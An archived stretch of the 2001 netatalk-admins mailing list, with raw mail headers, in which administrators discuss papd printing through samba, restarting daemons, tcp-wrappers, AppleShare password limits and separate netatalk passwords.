Tel: (514)871-0222 x243 Fax: (514)871-2123

From netatalk.administrators-errors@umich.edu  Wed Jun 27 10:49:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA16208
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Jun 2001 10:49:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA28853
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Jun 2001 10:49:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA28824
	for netatalk.administrators-members@umich.edu; Wed, 27 Jun 2001 10:49:49 -0400 (EDT)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA28756
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 10:49:47 -0400 (EDT)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA29103;
	Wed, 27 Jun 2001 16:58:25 +0200
Message-ID: <3B39F2F9.4D12DEA8@i-clue.de>
Date: Wed, 27 Jun 2001 16:51:37 +0200
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: Alle mails voor SMS systeem <sms@vgkfgen3.rug.ac.be>
CC: netatalk-admins@umich.edu
Subject: Re: papd and samba printer
References: <Pine.LNX.4.21.0106271426430.25803-100000@vgkfgen3.rug.ac.be>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Alle mails voor SMS systeem schrieb:
> 
> Hey,
> 
> I know I asked this before, but now exams are over and I have time to work
> on my little network here.
> 
> We have 3 Windows PCs, a Mac and a Linux all in network. I have installed
> both Netatalk and Samba on the linux, and that all seems to work. The
> printer is connected to one of the Windows PCs.
> 
> Now I would like to be able to print to it from the Mac. Since it is not a
> postscript printer, I can't use Dave on the PCs, but will be using
> netatalk papd.
> 
> What should I put in the print config file for papd ? I have no drivers or
> ppds for the printer.
> 
> And how do I restart papd ? I killed it, but don't get it running again...

How about defining the printer within samba, then have netatalk
re-.export that one?

-Christoph Sold

From netatalk.administrators-errors@umich.edu  Wed Jun 27 11:30:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA17639
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Jun 2001 11:30:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA14995
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Jun 2001 11:30:06 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14980
	for netatalk.administrators-members@umich.edu; Wed, 27 Jun 2001 11:30:05 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA14738
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 11:29:57 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA22510;
	Wed, 27 Jun 2001 17:29:47 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 27 Jun 2001 17:16:47 +0200
Subject: Re: papd and samba printer
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Alle mails voor SMS systeem <sms@vgkfgen3.rug.ac.be>,
        <netatalk-admins@umich.edu>
Message-ID: <B75FC57E.CFDF%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.21.0106271426430.25803-100000@vgkfgen3.rug.ac.be>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on Wed, 27 Jun 2001 14:31:32 +0200 (CEST), Alle mails voor SMS systeem
wrote:

> Now I would like to be able to print to it from the Mac. Since it is not a
> postscript printer, I can't use Dave on the PCs, but will be using
> netatalk papd.

PAP currently supports also PS-only Printers.

You can do the following:

- create a lpd queue which connects to the windows printer (you can do this
  with samba)

- configure another queue to rip incoming ps-jobs with ghostscript and to
  forward the output to the first queue

- you can share this queue via papd or/and via samba (so you can print from
  the mac with smb to the ghostscript

> What should I put in the print config file for papd ? I have no drivers or
> ppds for the printer.

You can use a generic ppd. A very good explanation can be found here:
<http://www.giub.unibe.ch/~eugster/appleprint.html>

> And how do I restart papd ? I killed it, but don't get it running again...

I think, papd supports rereading it's configuration if you 'kill -HUP' its
process id. So it won't die ;-)

But in your case: to start it again, look how it is invoked in your
netatalk's startscript ;-)

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Jun 27 12:00:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18564
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Jun 2001 12:00:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA27472
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Jun 2001 12:00:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27450
	for netatalk.administrators-members@umich.edu; Wed, 27 Jun 2001 12:00:40 -0400 (EDT)
Received: from mhub7.tc.umn.edu (mhub7.tc.umn.edu [160.94.151.218])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA27398
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 12:00:38 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub7.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 27 Jun 2001 11:00:09 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 27 Jun 2001 11:00:07 -0500
Date: Wed, 27 Jun 2001 11:00:06 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: kill -1 / tcpwrappers
Message-Id: <Pine.SOL.4.20.0106260953460.8300-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Two questions:

1) Kill -HUP 

On my OpenBSD 2.8 and 2.9 boxes, a kill -1 (or -HUP) to the afpd and
atalkd daemons doesn't seem to work correctly. I'll reset the daemons, and
then wait for longer than it normally takes them to start during boot.
When I then try to connect from the client mac, I'll get the "Server is
shutting down, try again later" error. I haven't tested extensively, but
waiting 10 minutes isn't enough, even 30 isn't enough, I have to wait
hours for them to come back.  They do, eventually, but why does it take so
long? Should I instead kill -9 them, and restart them by hand? Or is there
a graceful way to get the daemons to reread their config files without
rebooting or completely killing them?

2) Tcp-wrappers 

Right now I have my netatalk daemons starting from rc.local (well,
actually rc.atalk). My understanding of tcp-wrappers is that in order to
use them, you must start the daemon in question from inetd. And then every
time the daemon is requested, inetd launches tcpd, which runs through it's
checks, and then calls the netatalk (or telnet, or ftp) daemons. Is this
how tcp-wrappers work for netatalk?

The alternative way, replacing the daemons with tcpd, isn't terribly well
documented, at least that I've been able to find. I can't figure out where
OpenBSD expects the daemons to live. This is what the tcpd.c file says:

/ * General front end for stream and datagram IP services. This program
logs the remote host name and then invokes the real daemon. For example,
install as /usr/etc/{tftpd,fingerd,telnetd,ftpd,rlogind,rshd,rexecd},
after saving the real daemons in the directory specified with the *
REAL_DAEMON_DIR macro. This arrangement requires that the network daemons
are started by inetd or something similar. Connections and diagnostics are
logged through syslog(3). */

The man page for tcpd says this:
"This example applies when tcpd expects that the network daemons are left
in their original place, as it is configured within OpenBSD.

In order to monitor access to the finger(1) service, perform the follow-
ing edits on the inetd(8) configuration file, /etc/inetd.conf:"
[and goes into standard inetd.conf stuff.]

I have yet to find the REAL_DAEMON_DIR macro. So, how does this interact
with ./compile --with-tcp-wrappers?


This is a quest for knowledge, I'm not knocking the netatalk daemons in
any way. I just want to understand how things are working, and I
understand why (I think) it takes atalkd so long to start. 

All this is on OpenBSD 2.8 and 2.9, netatalk versions 1.5pre6 and 7,
CVS.

Thanks,

-Karen

*                                                     *
Karen Swanberg              |                         
Network Admin.              |               GNUmusk, an 
Dept. of Geology/Geophysics |        opensource cologne
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |       Old geeks never die                    
University of Mn            |          They just revert
Minneapolis, MN 55455       |              to cleartext
(612) 624-6541              |                         
*                                                     *





From netatalk.administrators-errors@umich.edu  Wed Jun 27 16:33:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA28180
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 27 Jun 2001 16:33:35 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA20888
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 27 Jun 2001 16:33:33 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA20863
	for netatalk.administrators-members@umich.edu; Wed, 27 Jun 2001 16:33:33 -0400 (EDT)
Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA20825
	for <netatalk-admins@umich.edu>; Wed, 27 Jun 2001 16:33:31 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id QAA11210;
	Wed, 27 Jun 2001 16:33:30 -0400
Date: Wed, 27 Jun 2001 16:33:30 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Karen A Swanberg <swanberg@tc.umn.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: kill -1 / tcpwrappers
In-Reply-To: <Pine.SOL.4.20.0106260953460.8300-100000@garnet.tc.umn.edu>
Message-ID: <Pine.LNX.4.33.0106271627200.23899-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 27 Jun 2001, Karen A Swanberg wrote:

> 2) Tcp-wrappers
>
> Right now I have my netatalk daemons starting from rc.local (well,
> actually rc.atalk). My understanding of tcp-wrappers is that in order to
> use them, you must start the daemon in question from inetd. And then every
> time the daemon is requested, inetd launches tcpd, which runs through it's
> checks, and then calls the netatalk (or telnet, or ftp) daemons. Is this
> how tcp-wrappers work for netatalk?
>

no. The following is my naive understanding:

>From a user perspective, you simply compile --with-tcp-wrappers and run as
a stand-alone daemon. It then obeys the rules listed for afpd: in
/etc/hosts.allow and /etc/hosts.deny through the magic of having linked to
libwrap (at least with the older asun versions -- new versions seem to be
putting hosts.allow|deny in /usr/local/atalk/etc/)

I don't know the internal technical details. But you can safely ignore all
the instructions about invoking tcpd from inetd, they don't apply.



From netatalk.administrators-errors@umich.edu  Thu Jun 28 01:56:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA12231
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 01:56:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id BAA27294
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 01:56:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA27266
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 01:56:04 -0400 (EDT)
Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA27219
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 01:56:03 -0400 (EDT)
Received: from thor.germania.lan (pD95846E5.dip.t-dialin.net [217.88.70.229])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id HAA05154
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 07:56:01 +0200 (MET DST)
Received: by thor.germania.lan (Postfix, from userid 501)
	id 57DE71F9C; Thu, 28 Jun 2001 07:55:40 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
	by thor.germania.lan (Postfix) with ESMTP id 510C11521
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 07:55:40 +0200 (CEST)
Date: Thu, 28 Jun 2001 07:55:40 +0200 (CEST)
From: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
X-X-Sender:  <claus@thor.germania.lan>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: other passwd
Message-ID: <Pine.LNX.4.33L2.0106280747550.10477-100000@thor.germania.lan>
Organization: Atzenbeck. Data structures & design
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I'm usins netatalk on Linux and on another computer I have MacOS 8.6.

It is working well. Right now I use my Linux user's login to get data
via netatalk. The problem is that my passwords usually are larger than
6 characters, but the login window on MacOS (for my Appletalk server
volume on Linux) allows max 6 chars for login.

2 quesstions on that:

1) Is it possible to enlarge the amount of chars I can type into the
login screen on MacOS, in order to mount my Linux volumes on Mac?

2) How can I tell netatalk that user "a" uses password "secret1" on
Linux, but uses password "secret2" to log into netatalk volumes from
Mac?

Thanks for any hint!!
Claus


From netatalk.administrators-errors@umich.edu  Thu Jun 28 04:43:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA15437
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 04:43:09 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA24687
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 04:42:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA24666
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 04:42:57 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA24609
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 04:42:56 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id KAA01861;
	Thu, 28 Jun 2001 10:42:17 +0200
Message-ID: <3B3AEDEA.3DBAFB28@euc.de>
Date: Thu, 28 Jun 2001 10:42:18 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
CC: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
References: <Pine.LNX.4.33L2.0106280747550.10477-100000@thor.germania.lan>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA15437

Hm,

to the first point
tried with netatalk 1.5-26 OS 9.1 8 chars are ok



the second point is that netatalk does not use a separate passwd like samba.
So this can't work.

Claus Atzenbeck wrote:
> 
> I'm usins netatalk on Linux and on another computer I have MacOS 8.6.
> 
> It is working well. Right now I use my Linux user's login to get data
> via netatalk. The problem is that my passwords usually are larger than
> 6 characters, but the login window on MacOS (for my Appletalk server
> volume on Linux) allows max 6 chars for login.
> 
> 2 quesstions on that:
> 
> 1) Is it possible to enlarge the amount of chars I can type into the
> login screen on MacOS, in order to mount my Linux volumes on Mac?
> 
> 2) How can I tell netatalk that user "a" uses password "secret1" on
> Linux, but uses password "secret2" to log into netatalk volumes from
> Mac?
> 
> Thanks for any hint!!
> Claus

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Thu Jun 28 08:05:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA19092
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 08:05:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA25122
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 08:05:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25099
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 08:05:26 -0400 (EDT)
Received: from vampire.lavielle.com (vampire.lavielle.com [194.64.21.10])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA25028
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 08:05:25 -0400 (EDT)
Received: from mail.bauer.com ([194.233.182.111])
	by vampire.lavielle.com (8.9.3/8.9.3) with ESMTP id OAA06609;
	Thu, 28 Jun 2001 14:05:22 +0200 (MET DST)
Received: from hbv.de (hjebsen.bauer.com [172.28.28.42])
	by mail.bauer.com (Postfix) with ESMTP
	id C1AA042A; Thu, 28 Jun 2001 14:05:07 +0200 (MEST)
Sender: root@hbv.de
Message-ID: <3B3B1D73.A5B486DA@hbv.de>
Date: Thu, 28 Jun 2001 14:05:07 +0200
From: Henning Jebsen <hjebsen@hbv.de>
X-Mailer: Mozilla 4.74 [de] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: de, en
MIME-Version: 1.0
To: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
Cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
References: <Pine.LNX.4.33L2.0106280747550.10477-100000@thor.germania.lan>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Claus Atzenbeck wrote:

> via netatalk. The problem is that my passwords usually are larger than
> 6 characters, but the login window on MacOS (for my Appletalk server
> volume on Linux) allows max 6 chars for login.

To me it seems, 8 characters are allowed by the MAC-Client, not 6...

> 1) Is it possible to enlarge the amount of chars I can type into the
> login screen on MacOS, in order to mount my Linux volumes on Mac?

No it is not.... Usernames and passwords are restricted to 8 characters
by appletalk..


> 2) How can I tell netatalk that user "a" uses password "secret1" on
> Linux, but uses password "secret2" to log into netatalk volumes from
> Mac?

If you are using PAM, you could take a look at
/etc/pamd.d/netatalk. There is the point you could
redirect the user&password Database to a LDAP-Server.
But at first you should build the ldap-database ;-)

That would mean, you would have to administrate 2 Databases:
/etc/passwd and LDAP because users "gmeyer" has an account
in passwd and ldap.

Good Luck.


--
mailto: hjebsen@hbv.de  (Henning Jebsen)
org:    Heinrich Bauer Verlag
phone:  +49-40-3019-5525




From netatalk.administrators-errors@umich.edu  Thu Jun 28 09:21:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA20913
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 09:21:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA25599
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 09:21:43 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25574
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 09:21:43 -0400 (EDT)
Received: from beacon.beaconschool.org ([209.2.216.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA25502
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 09:21:42 -0400 (EDT)
Received: from localhost (jpione@localhost)
	by beacon.beaconschool.org (8.9.3/8.9.3) with ESMTP id JAA23717
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 09:20:46 -0400
Date: Thu, 28 Jun 2001 09:20:46 -0400 (EDT)
From: James Pione <jpione@beacon.beaconschool.org>
To: <netatalk-admins@umich.edu>
Subject: netatalk permissions?
Message-ID: <Pine.LNX.4.30.0106280912140.23591-100000@beacon.beaconschool.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hi All.
	I'm running netatalk 1.4b2 w/o asun on a FreeBSD 4.2 box, and I am
looking for a way to prevent users from deleting any files from their
accounts, while at the same time having the permission to upload files to
the accounts. Does netatalk have it's own permission set for users? Does
anyone have any suggestions?
	Thanks in advance for anyone's ideas.

	James


From netatalk.administrators-errors@umich.edu  Thu Jun 28 10:06:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA21986
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 10:06:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA10879
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 10:06:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA10868
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 10:06:25 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA10828
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 10:06:23 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f5SE6JP27088;
	Thu, 28 Jun 2001 10:06:19 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B3B39CC.CFA39831@univrel.pr.uconn.edu>
Date: Thu, 28 Jun 2001 10:06:04 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Mac Conin <mconin@euc.de>
CC: Claus Atzenbeck <claus.atzenbeck@nikocity.de>,
        netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
References: <Pine.LNX.4.33L2.0106280747550.10477-100000@thor.germania.lan> <3B3AEDEA.3DBAFB28@euc.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Mac Conin wrote:
> the second point is that netatalk does not use a separate passwd like samba.
> So this can't work.

You can actually do this.

Use uams_randnum.so as your UAM, and use afppasswd to set the passwords
for the user. This file can be kept independent of the system password
file.

Jeff

From netatalk.administrators-errors@umich.edu  Thu Jun 28 10:18:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA22558
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 10:18:41 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA04320
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 10:18:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA04300
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 10:18:29 -0400 (EDT)
Received: from mailhub.cns.ksu.edu (grunt.ksu.ksu.edu [129.130.12.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA04204
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 10:18:28 -0400 (EDT)
Received: from unix1 (sto9013@unix1.cc.ksu.edu [129.130.12.3])
	by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with SMTP id JAA16373;
	Thu, 28 Jun 2001 09:18:36 -0500 (CDT)
Received: from localhost by unix1 (SMI-8.6/1.34)
	id JAA04910; Thu, 28 Jun 2001 09:18:36 -0500
Date: Thu, 28 Jun 2001 09:18:36 -0500 (CDT)
From: Seanano <sto9013@ksu.edu>
X-Sender: sto9013@unix1.cc.ksu.edu
To: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
In-Reply-To: <Pine.LNX.4.33L2.0106280747550.10477-100000@thor.germania.lan>
Message-ID: <Pine.GSO.4.21L.0106280837140.27145-100000@unix1.cc.ksu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Thu, 28 Jun 2001, Claus Atzenbeck wrote:

> I'm usins netatalk on Linux and on another computer I have MacOS 8.6.
> 
> It is working well. Right now I use my Linux user's login to get data
> via netatalk. The problem is that my passwords usually are larger than
> 6 characters, but the login window on MacOS (for my Appletalk server
> volume on Linux) allows max 6 chars for login.
> 
> 2 quesstions on that:
> 
> 1) Is it possible to enlarge the amount of chars I can type into the
> login screen on MacOS, in order to mount my Linux volumes on Mac?

The macOS Appleshare client (at least the english verion) allows for up to
eight characters and has for some time.  Our AppleshareIP box also limits
passwords to eight chars.  I don't know if it is possible to change this
without major work.


> 2) How can I tell netatalk that user "a" uses password "secret1" on
> Linux, but uses password "secret2" to log into netatalk volumes from
> Mac?

Since netatalk can use PAM you could use a different authentication method
for it.  For example, I'm not sure how stable it is, but the mysql PAM
module ( http://sourceforge.net/projects/pam-mysql/ ) would probably be a
fairly quick and easy way to do it, expecially if you have some mysql/sql
experiance.  This is something I have on my list for trying out in the
near future.

Sean


From netatalk.administrators-errors@umich.edu  Thu Jun 28 11:01:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA23498
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 11:01:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA25429
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 11:01:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25410
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 11:01:48 -0400 (EDT)
Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA25330
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 11:01:46 -0400 (EDT)
Received: from thor.germania.lan (pD958457B.dip.t-dialin.net [217.88.69.123])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id RAA02030
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 17:01:43 +0200 (MET DST)
Received: by thor.germania.lan (Postfix, from userid 501)
	id 9B9E11FB6; Thu, 28 Jun 2001 17:01:22 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
	by thor.germania.lan (Postfix) with ESMTP id 4DA471F98
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 17:01:22 +0200 (CEST)
Date: Thu, 28 Jun 2001 17:01:21 +0200 (CEST)
